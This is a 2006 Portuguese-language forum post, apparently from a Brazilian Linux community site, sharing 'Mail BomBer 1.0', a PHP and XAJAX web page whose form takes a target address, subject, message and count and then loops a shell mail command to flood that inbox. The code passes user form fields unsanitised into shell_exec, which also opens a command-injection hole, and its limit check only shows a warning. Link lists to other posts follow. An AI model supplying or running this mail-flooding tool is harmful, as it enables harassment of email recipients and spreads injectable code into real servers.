Mail BomBer 1.0
Publicado por Thiago Fernandes de Melo 16/08/2006
[ Hits: 5.918 ]
Homepage: http://www.hospedarfacil.com.br
Ae galera, fiz um mailbomber com XAJAX e PHP. Espero que lhes sirvam pra alguma coisa, pelo menos pra galerinha que tá querendo aprender AJAX. XAJAX é um framework pra trabalhar com AJAX no PHP. []´s. PS.: tem que ter algum servidor de e-mail no PC, Postfix ou Sendmail. Obs.: Tem que salvar os 2 arquivos, faça o download do XAJAX e salva o código-fonte com extensão .php.
<? require_once("xajax.inc.php"); function limp() { $objResponse = new xajaxResponse(); if($a['qts'] < 100) $Resposta = ""; $objResponse->addAssign("checando","innerHTML", $Resposta); return $objResponse->getXML(); } ////////////////////////////////////////////////// function check($a) { $objResponse = new xajaxResponse(); if($a['qts'] > 10) $Resposta = "<font size=2 color=red><b>*A quantidade Excede o Limite.</b></font>"; $objResponse->addAssign("checando","innerHTML", $Resposta); return $objResponse->getXML(); } ////////////////////////////////////////////////// function checkdestino($a) { $objResponse = new xajaxResponse(); if($a['destino'] == "") $Resposta = "<font size=2 color=red><b>*Nenhum campo em branco.</b></font>"; $objResponse->addAssign("checando1","innerHTML", $Resposta); return $objResponse->getXML(); } ////////////////////////////////////////////////// function checkassunto($a) { $objResponse = new xajaxResponse(); if($a['assunto'] == "") $Resposta = "<font size=2 color=red><b>*Nenhum campo em branco.</b></font>"; $objResponse->addAssign("checando2","innerHTML", $Resposta); return $objResponse->getXML(); } ////////////////////////////////////////////////// function flood($a) { $objResponse = new xajaxResponse(); $Rss = "<b>Msg: </b>" .$a['destino']. "<br><b>Qts: </b>" .$a['qts']. "<br><b>Ass: </b>" .$a['assunto']. "</b><br><b>Msg: </b>" .$a['msg']. " "; $objResponse->addAssign("Resultado","innerHTML", nl2br(print_r($Rss, true))); return $objResponse->getXML(); } /////////////////////////////////////////////////// function fdnow($a) { $objResponse = new xajaxResponse(); $s = $a['qts']; $as = $a['assunto']; $dss = $a['msg']; $ds = $a['destino']; for($i = 0; $i<$s;$i++){ $Send[$i] = "Enviando " .$i. " de " .$s. ""; shell_exec("echo $as |mail -s $dss $ds"); } $objResponse->addAssign("fding","innerHTML", print_r($Send, true)); return $objResponse->getXML(); } /////////////////////////////////////////////////// $xajax = new xajax(); $xajax->registerFunction("flood"); $xajax->registerFunction("check"); $xajax->registerFunction("checkdestino"); $xajax->registerFunction("checkassunto"); $xajax->registerFunction("limp"); $xajax->registerFunction("fdnow"); $xajax->processRequests(); ?> <html> <head> <? $xajax->printJavascript(); ?> </head> <body> <form name=tx><table> <tr><td>Destino:</td><td><input type=text name=destino onblur="xajax_checkdestino(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando1"></div></td></tr> <tr><td>Assunto:</td><td><input type=text name=assunto onblur="xajax_checkassunto(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando2"></div></tr> <tr><td>Quantos:</td><td><input type=text name=qts onblur="xajax_check(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando"></div></td></tr> <tr><td>Msg:</td><td><textarea name=msg></textarea></td></tr> <tr><td><input type=button name=send value=Flood onclick=" xajax_fdnow(xajax.getFormValues('tx',true)); return false"></td></tr></table><table> <tr><td><div id="fding">Aguardando...</div></td></tr> </form> </body> </html>
Formularios Atomatic Esse vcs vao adorar
Nenhum comentário foi encontrado.
Enviar mensagem ao usuário trabalhando com as opções do php.ini
Meu Fork do Plugin de Integração do CVS para o KDevelop
Compartilhando a tela do Computador no Celular via Deskreen
Como Configurar um Túnel SSH Reverso para Acessar Sua Máquina Local a Partir de uma Máquina Remota
Configuração para desligamento automatizado de Computadores em um Ambiente Comercial
Compartilhamento de Rede com samba em modo Público/Anônimo de forma simples, rápido e fácil
Cups: Mapear/listar todas as impressoras de outro Servidor CUPS de forma rápida e fácil
Criando uma VPC na AWS via CLI
Dificuldade para renderizar vídeo no kdenlive (6)
xubuntu sem sons de eventos (3)
Erro ao iniciar serviço samba4 como novo dc em um ambiente com ad [RES... (9)